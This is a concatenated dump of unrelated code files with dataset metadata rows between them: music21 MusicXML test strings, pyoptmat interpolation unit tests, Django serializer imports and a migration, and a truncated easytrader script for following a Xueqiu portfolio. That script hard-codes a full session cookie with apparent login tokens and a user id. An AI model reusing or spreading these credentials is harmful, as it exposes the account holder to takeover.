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<!--==========================[2,4]=============================-->
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<!--==========================[2,5]=============================-->
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<!--==========================[2,6]=============================-->
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<!--==========================[2,7]=============================-->
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<!--==========================[2,8]=============================-->
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<!--==========================[2,9]=============================-->
<measure number="9" width="86">
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<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-50.00">down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-50.00">down</stem>
</note>
</measure>
<!--==========================[2,10]=============================-->
<measure number="10" width="173">
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-55.00">down</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="5.00">up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-5.00">up</stem>
</note>
</measure>
<!--==========================[2,11]=============================-->
<measure number="11" width="80">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>40320</duration>
<voice>1</voice>
<type>whole</type>
<dot/>
<stem>none</stem>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
</barline>
</measure>
</part>
<part id="P3">
<!--==========================[3,1]=============================-->
<measure number="1" width="188">
<print>
<staff-layout number="1">
<staff-distance>64.167</staff-distance>
</staff-layout>
</print>
<attributes>
<divisions>6720</divisions>
<key>
<cancel>-4</cancel>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>6</beats>
<beat-type>4</beat-type>
</time>
<clef number="1">
<sign>F</sign>
<line>4</line>
</clef>
<staff-details number="1" print-object="yes">
<staff-lines>5</staff-lines>
<staff-size>70.00</staff-size>
</staff-details>
</attributes>
<note>
<rest>
</rest>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
</measure>
<!--==========================[3,2]=============================-->
<measure number="2" width="173">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
</measure>
<!--==========================[3,3]=============================-->
<measure number="3" width="93">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
</measure>
<!--==========================[3,4]=============================-->
<measure number="4" width="178">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="0.00">up</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
</measure>
<!--==========================[3,5]=============================-->
<measure number="5" width="90">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
</measure>
<!--==========================[3,6]=============================-->
<measure number="6" width="176">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-40.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
</measure>
<!--==========================[3,7]=============================-->
<measure number="7" width="96">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<chord/>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-60.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<chord/>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-60.00">down</stem>
</note>
</measure>
<!--==========================[3,8]=============================-->
<measure number="8" width="181">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
</measure>
<!--==========================[3,9]=============================-->
<measure number="9" width="86">
<print new-system="yes">
<staff-layout number="1">
<staff-distance>64.167</staff-distance>
</staff-layout>
</print>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-45.00">down</stem>
</note>
<note>
<chord/>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>20160</duration>
<voice>1</voice>
<type>half</type>
<dot/>
<stem default-y="-60.00">down</stem>
</note>
</measure>
<!--==========================[3,10]=============================-->
<measure number="10" width="173">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-45.00">down</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-40.00">down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="-50.00">down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>6720</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="10.00">up</stem>
</note>
</measure>
<!--==========================[3,11]=============================-->
<measure number="11" width="80">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>40320</duration>
<voice>1</voice>
<type>whole</type>
<dot/>
<stem>none</stem>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
</barline>
</measure>
</part>
</score-partwise>
"""
tabTest = """<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE score-partwise PUBLIC '-//Recordare//DTD MusicXML 2.0 Partwise//EN' 'http://www.musicxml.org/dtds/2.0/partwise.dtd'>
<score-partwise version="2.0">
<movement-title>test</movement-title>
<identification>
<encoding>
<encoding-date>2014-02-26</encoding-date>
<software>Guitar Pro 6</software>
</encoding>
</identification>
<part-list>
<score-part id="P0">
<part-name>Electric Guitar</part-name>
<part-abbreviation>E-Gt</part-abbreviation>
<midi-instrument id="P0">
<midi-channel>1</midi-channel>
<midi-bank>1</midi-bank>
<midi-program>28</midi-program>
<volume>80</volume>
<pan>0</pan>
</midi-instrument>
</score-part>
</part-list>
<part id="P0">
<measure number="0">
<attributes>
<divisions>1</divisions>
<key>
<fifths>0</fifths>
<mode>major</mode>
</key>
<time>
<beats>4</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>TAB</sign>
<line>5</line>
</clef>
<staff-details>
<staff-lines>6</staff-lines>
<staff-tuning line="1">
<tuning-step>E</tuning-step>
<tuning-octave>2</tuning-octave>
</staff-tuning>
<staff-tuning line="2">
<tuning-step>A</tuning-step>
<tuning-octave>2</tuning-octave>
</staff-tuning>
<staff-tuning line="3">
<tuning-step>D</tuning-step>
<tuning-octave>3</tuning-octave>
</staff-tuning>
<staff-tuning line="4">
<tuning-step>G</tuning-step>
<tuning-octave>3</tuning-octave>
</staff-tuning>
<staff-tuning line="5">
<tuning-step>B</tuning-step>
<tuning-octave>3</tuning-octave>
</staff-tuning>
<staff-tuning line="6">
<tuning-step>E</tuning-step>
<tuning-octave>4</tuning-octave>
</staff-tuning>
</staff-details>
<transpose>
<diatonic>0</diatonic>
<chromatic>0</chromatic>
<octave-change>0</octave-change>
</transpose>
</attributes>
<direction directive="yes" placement="above">
<direction-type>
<metronome default-y="40" parentheses="yes">
<beat-unit>quarter</beat-unit>
<per-minute>120</per-minute>
</metronome>
</direction-type>
<sound tempo="120"/>
</direction>
<note>
<pitch>
<step>F</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
<notations>
<technical>
<string>6</string>
<fret>1</fret>
</technical>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>half</type>
<accidental>sharp</accidental>
<stem>up</stem>
<notations>
<technical>
<string>6</string>
<fret>2</fret>
</technical>
</notations>
</note>
</measure>
</part>
</score-partwise>
"""
# ------------------------------------------------------------------------------
# define all strings for access
#
# dictionary storing does not work
# CONTENTS = {'mozartTrioK581Excerpt': mozartTrioK581Excerpt,
# 'schumannOp48No1': schumannOp48No1,
# 'chantQuemQueritis': chantQuemQueritis,
# 'beethovenOp98': beethovenOp98,
# }
#
# ALL1 = CONTENTS.items()
ALL = [chantQuemQueritis, mozartTrioK581Excerpt, schumannOp48No1,
binchoisMagnificat, edgefield82b, tabTest]
def get(contentRequest):
'''Get test material by type of content
>>> from music21.musicxml.testFiles import get
>>> a = get('lyrics')
'''
if contentRequest in ['lyrics']:
return chantQuemQueritis
# ------------------------------------------------------------------------------
class Test(unittest.TestCase):
def testBasic(self):
from music21 import converter
for testMaterial in ALL[:1]:
unused = converter.parse(testMaterial)
if __name__ == '__main__':
import music21
music21.mainTest(Test)
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0
| 9
|
7db22b4cdd8ee3c187216997a6ce9f0e1d8c2192
| 377
|
py
|
Python
|
mikaponics/dashboard/serializers/__init__.py
|
mikaponics/mikaponics-back
|
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
|
[
"BSD-3-Clause"
] | 2
|
2019-04-30T23:51:41.000Z
|
2019-05-04T00:35:52.000Z
|
mikaponics/dashboard/serializers/__init__.py
|
mikaponics/mikaponics-back
|
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
|
[
"BSD-3-Clause"
] | 27
|
2019-04-30T20:22:28.000Z
|
2022-02-10T08:10:32.000Z
|
mikaponics/dashboard/serializers/__init__.py
|
mikaponics/mikaponics-back
|
98e1ff8bab7dda3492e5ff637bf5aafd111c840c
|
[
"BSD-3-Clause"
] | null | null | null |
from dashboard.serializers.dashboard_device_serializer import DashboardDeviceListSerializer
from dashboard.serializers.dashboard_production_serializer import DashboardProductionListSerializer
from dashboard.serializers.dashboard_production_crop_serializer import DashboardProductionCropListSerializer
from dashboard.serializers.dashboard_serializers import DashboardSerializer
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| 0
| 1
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|
0
| 8
|
7df25c736db53be91101e6f47afd3357fc02bc49
| 6,649
|
py
|
Python
|
test/test_utility.py
|
tianjuchen/pyoptmat
|
6f34205f450fd884679f37522ccd0d0b65ecdb71
|
[
"MIT"
] | null | null | null |
test/test_utility.py
|
tianjuchen/pyoptmat
|
6f34205f450fd884679f37522ccd0d0b65ecdb71
|
[
"MIT"
] | null | null | null |
test/test_utility.py
|
tianjuchen/pyoptmat
|
6f34205f450fd884679f37522ccd0d0b65ecdb71
|
[
"MIT"
] | null | null | null |
from pyoptmat import utility
import torch
import unittest
import numpy as np
import numpy.random as ra
import scipy.interpolate as inter
class TestInterpolateBatchTimesObject(unittest.TestCase):
def setUp(self):
self.ntime = 100
self.nbatch = 50
self.times = np.empty((self.ntime, self.nbatch))
self.values = np.empty((self.ntime, self.nbatch))
self.X = np.empty((self.ntime, self.nbatch, 2))
for i in range(self.nbatch):
tmax = ra.random()
self.times[:, i] = np.linspace(0, tmax, self.ntime)
self.values[:, i] = ra.random((self.ntime,))
self.obj = utility.BatchTimeSeriesInterpolator(
torch.tensor(self.times), torch.tensor(self.values)
)
def test_interpolate_random(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = ra.uniform(0, self.times[-1, i])
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = self.obj(torch.tensor(targets))
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_zero(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = 0
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = self.obj(torch.tensor(targets))
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_end(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = self.times[-1, i]
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = self.obj(torch.tensor(targets))
self.assertTrue(np.allclose(Y, correct))
class TestCheaterInterpolateBatchTimesObject(unittest.TestCase):
def setUp(self):
self.ntime = 100
self.nbatch = 50
self.times = np.empty((self.ntime, self.nbatch))
self.values = np.empty((self.ntime, self.nbatch))
self.X = np.empty((self.ntime, self.nbatch, 2))
for i in range(self.nbatch):
tmax = ra.random()
self.times[:, i] = np.linspace(0, tmax, self.ntime)
self.values[:, i] = ra.random((self.ntime,))
self.idx = 73
self.obj = utility.CheaterBatchTimeSeriesInterpolator(
torch.tensor(self.times), torch.tensor(self.values)
)
def test_interpolate_random(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = self.times[self.idx, i]
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = self.obj(torch.tensor(targets))
self.assertTrue(np.allclose(Y, correct))
class TestInterpolateBatchTimes(unittest.TestCase):
def setUp(self):
self.ntime = 100
self.nbatch = 50
self.times = np.empty((self.ntime, self.nbatch))
self.values = np.empty((self.ntime, self.nbatch))
self.X = np.empty((self.ntime, self.nbatch, 2))
for i in range(self.nbatch):
tmax = ra.random()
self.times[:, i] = np.linspace(0, tmax, self.ntime)
self.values[:, i] = ra.random((self.ntime,))
def test_interpolate_random(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = ra.uniform(0, self.times[-1, i])
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = utility.timeseries_interpolate_batch_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(targets)
)
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_zero(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = 0
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = utility.timeseries_interpolate_batch_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(targets)
)
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_end(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
for i in range(self.nbatch):
targets[i] = self.times[-1, i]
correct[i] = inter.interp1d(self.times[:, i], self.values[:, i])(targets[i])
Y = utility.timeseries_interpolate_batch_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(targets)
)
self.assertTrue(np.allclose(Y, correct))
class TestInterpolateSingleTimes(unittest.TestCase):
def setUp(self):
self.ntime = 100
self.nbatch = 50
self.times = np.linspace(0, ra.random(), self.ntime)
self.values = np.empty((self.ntime, self.nbatch))
self.X = np.empty((self.ntime, self.nbatch, 2))
for i in range(self.nbatch):
self.values[:, i] = ra.random((self.ntime,))
def test_interpolate_random(self):
correct = np.empty((self.nbatch,))
targets = np.empty((self.nbatch,))
t = ra.uniform(0, self.times[-1])
for i in range(self.nbatch):
correct[i] = inter.interp1d(self.times, self.values[:, i])(t)
Y = utility.timeseries_interpolate_single_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(t)
)
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_zero(self):
correct = np.empty((self.nbatch,))
t = 0
for i in range(self.nbatch):
correct[i] = inter.interp1d(self.times, self.values[:, i])(t)
Y = utility.timeseries_interpolate_single_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(t)
)
self.assertTrue(np.allclose(Y, correct))
def test_interpolate_end(self):
correct = np.empty((self.nbatch,))
t = self.times[-1]
for i in range(self.nbatch):
correct[i] = inter.interp1d(self.times, self.values[:, i])(t)
Y = utility.timeseries_interpolate_single_times(
torch.tensor(self.times), torch.tensor(self.values), torch.tensor(t)
)
self.assertTrue(np.allclose(Y, correct))
| 35.55615
| 88
| 0.598887
| 846
| 6,649
| 4.661939
| 0.070922
| 0.119168
| 0.080882
| 0.077586
| 0.912018
| 0.907454
| 0.904919
| 0.904412
| 0.904412
| 0.904412
| 0
| 0.010454
| 0.251918
| 6,649
| 186
| 89
| 35.747312
| 0.782469
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| 0.82069
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| 0.068966
| 1
| 0.096552
| false
| 0
| 0.041379
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| 0.165517
| 0
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| null | 0
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| 1
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| 0
| 0
|
0
| 7
|
819d48aa38a8fb0278057d45651d18301de6aa5a
| 3,110
|
py
|
Python
|
projects/migrations/0001_initial.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
projects/migrations/0001_initial.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
projects/migrations/0001_initial.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.1.1 on 2020-09-19 21:11
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Contact',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='')),
('description', models.CharField(max_length=20)),
('text', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='MainInformation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('language', models.CharField(choices=[('pl', 'pl'), ('en', 'en')], max_length=2)),
('title', models.CharField(max_length=30)),
('text', models.TextField()),
],
),
migrations.CreateModel(
name='Technology',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='')),
('title', models.CharField(max_length=20)),
],
),
migrations.CreateModel(
name='Project',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('order', models.IntegerField()),
('language', models.CharField(choices=[('pl', 'pl'), ('en', 'en')], max_length=2)),
('title', models.CharField(max_length=50)),
('link', models.CharField(max_length=100)),
('image', models.ImageField(upload_to='')),
('description', models.TextField()),
('created', models.DateField()),
('technologies', models.ManyToManyField(to='projects.Technology')),
],
options={
'ordering': ['order'],
'get_latest_by': 'order',
},
),
migrations.CreateModel(
name='LearnProject',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('order', models.IntegerField()),
('language', models.CharField(choices=[('pl', 'pl'), ('en', 'en')], max_length=2)),
('title', models.CharField(max_length=50)),
('link', models.CharField(max_length=100)),
('image', models.ImageField(upload_to='')),
('description', models.TextField()),
('created', models.DateField()),
('technologies', models.ManyToManyField(to='projects.Technology')),
],
options={
'ordering': ['order'],
'get_latest_by': 'order',
},
),
]
| 40.38961
| 114
| 0.511576
| 269
| 3,110
| 5.788104
| 0.260223
| 0.105973
| 0.092486
| 0.123314
| 0.784843
| 0.735389
| 0.735389
| 0.72447
| 0.72447
| 0.72447
| 0
| 0.017143
| 0.324759
| 3,110
| 76
| 115
| 40.921053
| 0.724286
| 0.014469
| 0
| 0.724638
| 1
| 0
| 0.116226
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.014493
| 0
| 0.072464
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
81d6bdaac3fbccbc1a776af4eb90ccb55bb2e3cc
| 3,083
|
py
|
Python
|
demo/test_xq_zhuhe.py
|
mmacchao/easytrader
|
683ecbfbf9186de564addac5033c224450b8c8d6
|
[
"MIT"
] | null | null | null |
demo/test_xq_zhuhe.py
|
mmacchao/easytrader
|
683ecbfbf9186de564addac5033c224450b8c8d6
|
[
"MIT"
] | null | null | null |
demo/test_xq_zhuhe.py
|
mmacchao/easytrader
|
683ecbfbf9186de564addac5033c224450b8c8d6
|
[
"MIT"
] | null | null | null |
import easytrader
user = easytrader.use('xq')
user.prepare(
cookies="device_id=24700f9f1986800ab4fcc880530dd0ed; s=c611jy83d1; bid=7130b0353c7fe2b0cac18d13ce0ba33e_kfhri08p; __utmz=1.1601009405.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookiesu=721609119310509; remember=1; xq_a_token=033322615e2b2708e6c80827868f32c360b7427c; xq_id_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1aWQiOjY1NjE2NTI1OTQsImlzcyI6InVjIiwiZXhwIjoxNjExNzExMjk2LCJjdG0iOjE2MDkyMTA4NjExNjksImNpZCI6ImQ5ZDBuNEFadXAifQ.Ci0VGpXOSvqLE2OOAOQYVUdclK44xdC1hhw2wfRW_owouECJgp89RstWExVvuopmAH_jEjNUxKNsyKXI8Dy4w4m8nDTqfKEDHAysyH-AOztVWdra74d0Ebspgdcn02UyfBaKBKY-qeaMn2jjNbVAreP1C9WrZwT5HkPMVyJTx62ASClAdt2PMfP9Eeu2baiGn2jDLHGp-1exroYyeggynCaRmbaYCsH4C-1sM_17Ljw6OmvF5FV_3cLY0NCSs7781MI-36hSa5KpgaGlCjqFNKq9GeYpX6ki2mNyp4rnqOn9bwRW8LQeawLuoYROywViDwVLiGDV8PSvrYGsWVtjGQ; xqat=033322615e2b2708e6c80827868f32c360b7427c; xq_r_token=c5258ce8ff96caa5a21bea59443ba531cd3d7a63; xq_is_login=1; u=6561652594; Hm_lvt_1db88642e346389874251b5a1eded6e3=1609827151,1609827202,1609827252,1609827306; acw_tc=2760820116098333450666290ecfcebc35f0d9d101be6dd73ad4ace7659238; is_overseas=0; __utma=1.1792023165.1601009405.1609724608.1609833358.55; __utmc=1; __utmt=1; __utmb=1.2.10.1609833358; Hm_lpvt_1db88642e346389874251b5a1eded6e3=1609833427",
# portfolio_code="ZH2394354",
# portfolio_code="ZH2342584",
portfolio_code="ZH2348461",
portfolio_market="cn",
)
# 跟踪雪球组合
xq_follower = easytrader.follower('xq')
xq_follower.login(
